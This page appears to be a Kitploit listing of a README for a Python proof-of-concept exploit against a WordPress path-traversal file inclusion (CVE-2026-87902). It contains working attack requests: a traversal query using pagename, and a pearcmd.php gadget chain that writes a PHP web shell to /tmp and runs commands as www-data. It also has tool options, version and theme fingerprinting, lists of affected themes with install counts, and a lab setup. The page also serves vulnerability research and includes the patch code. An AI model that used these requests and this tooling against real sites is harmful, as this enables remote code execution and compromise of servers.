Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!
CVE-2026-87902 — Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion. | Kitploit
Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion.
the payload. WP_Query runs it through sanitize_title_for_query(), which rewrites a literal dot to a dash but preserves percent-encoded octets. get_page_template() then calls urldecode() to decode the result into a path
page_id
any published page, so the query matches a post instead of returning a 404. Without it the page template is never loaded
Core builds page-{urldecode($pagename)}.php and resolves it against the stylesheet directory. Encoding is required: sanitize_title_for_query() rewrites a literal .. to -.
Preconditions
#
Condition
Why
1
active theme ships a top-level page-* directory
the name is page-{payload}.php, so its first segment must resolve on disk
2
one published page that is neither the front page nor the posts page
is_front_page and is_home are tried before is_page
3
target file ends in .php
core appends the extension
No uploaded content, no change to the site configuration, the theme or the core.
All 26 affected themes call the directory page-templates. poc.py takes the name from themes.json, assumes page-templates for a theme that is not in it, and --root overrides with a comma-separated list.
Windows hosts drop precondition 1. Win32 cancels .. lexically, so a segment that does not exist is still cancelled by the .. after it.
Path
Result
C:\...\wordpress\page-nothing\..\README.md
exists
C:\...\wordpress\page-nothing\README.md
does not exist
Tested with os.stat on Windows 11, which uses the same Win32 path handling as PHP's file_exists(). WordPress itself was not run on Windows.
Usage
Check, the default
Identifies the theme and the two versions, then asks whether the page-* directory exists. Nothing is included or executed.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Answer on page-<root>/
Reading
200
the directory is there and lists
404
no such directory
403
inconclusive, so one control request for page-<8 random hex>/ follows
403 then control 404
the refusal was about existence, the directory is there
403 then control refused
the server rejects whatever it is asked, exit 4
Affected requires both: the directory exists, and the version is at or below 7.1.1.
Exploit
Runs the check first, then includes the file unless the check ruled the target out.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
A rendered theme template always references /wp-content/themes/ through wp_head(), an included file from outside the theme does not. That is the verdict rule.
Options
Option
Default
Effect
--target URL
required
deployment under test
--exploit
off
include a file after the check
--include PATH
wp-admin/install.php
the .php to include. Relative paths resolve from the WordPress root, absolute paths climb with --depth
--depth N
7
../ hops for an absolute --include
--root NAME[,NAME]
from themes.json
the page-* directories to try, without the page- prefix
--page-id ID
discovered
skip page discovery
--theme SLUG
discovered
skip the theme lookup
--theme-version V
discovered
skip the theme version lookup
--no-version
off
make no request whose only purpose is to learn a version
--core-json PATH
core.json
release fingerprints, read only when nothing disclosed a version
--trace
off
print every exchange
--json
off
one JSON object, nothing else
--yes
off
skip the confirmation
Code
Check
Exploit
0
affected
a .php outside the theme was included
1
not affected
not included
2
no answer, or the answer is not WordPress
same
3
usage, or declined at the confirmation
same
4
inconclusive, see the 403 and 7.1.x cases
not used
The default --include is wp-admin/install.php: in every WordPress, output unmistakable, changes nothing.
TLS certificates are not verified. Expired, self-signed and hostname-mismatched ones are accepted.
Version fingerprinting
Tried in order, stopping at the first that answers.
Source
Cost
On 7.1.1
generator meta on the home page
free
exact version
?ver= on a /wp-includes/ asset
free
exact version
/?feed=rss2
1 request
exact version
/wp-links-opml.php
1 request
exact version
sha256 of a served asset against core.json
1 request
the set of releases shipping those bytes
core.json covers the 112 published releases and 7.1.2, four assets each. Crossing them names 9 releases exactly and leaves a median of 4 candidates. Affected requires every candidate to be at or below 7.1.1.
7.1.1 and 7.1.2 cannot be told apart from outside. The three files that differ are wp-admin/about.php, wp-includes/template.php and wp-includes/version.php, none of them served. A 7.1.x site that hides its version gets exit 4.
Themes
The 200 most-installed themes on wordpress.org. 26 ship a page-* directory and are affected, together 765,500 of 9,027,090 active installs. The other 174 fail precondition 1.
Theme
Version
Installs
page-*
Status
Confirmed
neve
4.2.11
200,000
page-templates
🔴 affected
lab
sydney
2.71
80,000
page-templates
🔴 affected
lab
hestia
3.3.6
70,000
page-templates
🔴 affected
lab
inspiro
2.2.3
60,000
page-templates
🔴 affected
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 affected
survey
twentyfourteen
4.6
50,000
page-templates
🔴 affected
lab
twentytwelve
4.9
50,000
page-templates
🔴 affected
lab
colormag
4.2.5
40,000
page-templates
🔴 affected
lab
zakra
4.3.3
30,000
page-templates
🔴 affected
survey
spacious
1.9.12
20,000
page-templates
lab means tested end to end with poc.py against a stock image, survey means the directory was read out of the theme archive and the theme was not stood up.
Tested and unaffected, none of them carrying a page-* directory: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, shipped by hestia, neve and others, does not change affectedness. It only rules out the front page's ID for the request.
Versions
Release
Image default theme
With an affected theme
Confirmed
7.1.2
🟢 not affected, twentytwentyfive
🟢 not affected, neve
lab
7.1.1
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
7.1.0
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
7.0.4
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
6.8.3
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
6.1.0
🟢 not affected, twentytwentythree
🔴 affected, twentytwelve
lab
4.9.8
🟢 not affected, twentyseventeen
🔴 affected, twentytwelve
lab
the 105 other releases
not measured
not measured
not measured
Theme version
not a precondition, the page-* directory is. neve 4.2.11 was used on 6.8.3 and above, twentytwelve 4.9 on the two older cores
7.1.2
no published image. Tested with lab/run.py --core 7.1.2, which applies the official release archive over 7.1.1-apache
Out of the box
no release from 4.1 on is affected. twentyfifteen through twentytwentyfive carry no page-* directory. twentyfourteen and twentytwelve do, and were the defaults of 3.8 to 4.0 and of 3.5, for which no image is published
Not pullable
15 of the 112 published tags: 14 older than 4.5.3-apache use a v1 manifest containerd 2.1 rejects, and 4.5.3-apache has a layer the registry cannot serve
PHP variants published per release, which decide the escalation below:
WordPress releases
PHP variants published as -apache
4.1.x to 4.5.x
none, plain tag only, 5.6
4.6.x to 5.0.x
5.67.07.17.27.3
5.1.x to 5.5.x
7.17.27.37.4
5.6.x to 6.0.x
7.27.37.48.08.1
6.1.x to 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x and 6.9.x
8.18.28.38.48.5
7.0.x and 7.1.x
8.28.38.48.5
PHP and escalation
File inclusion succeeds on all four images and pearcmd.php is present in each. Command execution through the gadget needs register_argc_argv on, which the php8.5 image turns off.
Image
PHP
register_argc_argv $_SERVER['argv']
RCE via pearcmd.php
Confirmed
7.1.1-php8.2-apache
8.2.33
On, populated
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
On, populated
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
On, populated
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Off, null
🟢 not reached
lab
Read through apache2handler, not the CLI, which forces the setting on. The two requests behind the RCE column:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py includes a file, it does not drive the gadget. Reach it with --include /usr/local/lib/php/pearcmd.php --depth 7. No gadget other than pearcmd.php was looked for on the 8.5 image.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
The first fixes the vulnerable branch, the second checks every resolved template path whatever produced it. Tested: on 7.1.2 with neve active and page-templates present, the same request renders the theme's own page, 55,084 bytes, instead of the installer.
A second route exists on 7.1.1 and earlier:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
How it differs
diverts WP_Query into its post_name branch, which never rewrites pagename, so a literal .. works
What it needs
a theme without single.php, because is_single is tried before is_page
Tested on
7.1.1 with bloghash
Why it is here
it survives a fix hardening the sanitiser alone. The containment check above closes it too
Lab
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
Per row
Image
official wordpress:<tag>, unmodified
Isolation
own container, own port, own database in the shared MariaDB
Install
over HTTP through wp-admin/install.php, so no version needs a matching wp-cli
State
as the installer leaves it, one published page, nothing uploaded
Driven with
poc.py --exploit, so a row measures inclusion and not appearance
Option
Default
Effect
--jobs N
2
rows in parallel
--theme SLUG[@VERSION]
none
install and activate on every row
--core VERSION
none
apply that official release over the image's core, which is how a release with no image is run
--keep
off
leave the instances up, admin password printed at the end
--prune
off
delete images this run pulled
--port-base N
8110
first port, one per row, 127.0.0.1 only
--db-image
mariadb:10.6
database image
--timeout N
180
seconds a container gets to answer
--out PATH
lab/results.json
per-row detail
Exit codes: 0 every row measured, 1 at least one was not, 2 Docker absent or nothing to run, 3 usage or declined. A WordPress image is 600 MB to 1.1 GB, so --all without --prune is tens of GB.
.github/workflows/lab.yml runs four rows on every change to the PoC or the lab, and weekly: an affected theme on 7.1.1 and on 6.8.3, the image default theme, and the php8.5 variant. Each asserts its expected exit code.
Two ideas taken from that PoC, both tested here first:
Idea
Kept
Tested
/index.php?rest_route= and /wp-json/ as fallback routes for the page listing
yes
discovery succeeds through one of the three
prefer a page with no page template of its own, since get_page_template() tries that template first
yes, as an ordering
forcing a page that carries one still reproduced on 7.1.1, so it costs a request at worst
Files
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
Requirements: Docker, Python 3.8+, no third-party packages.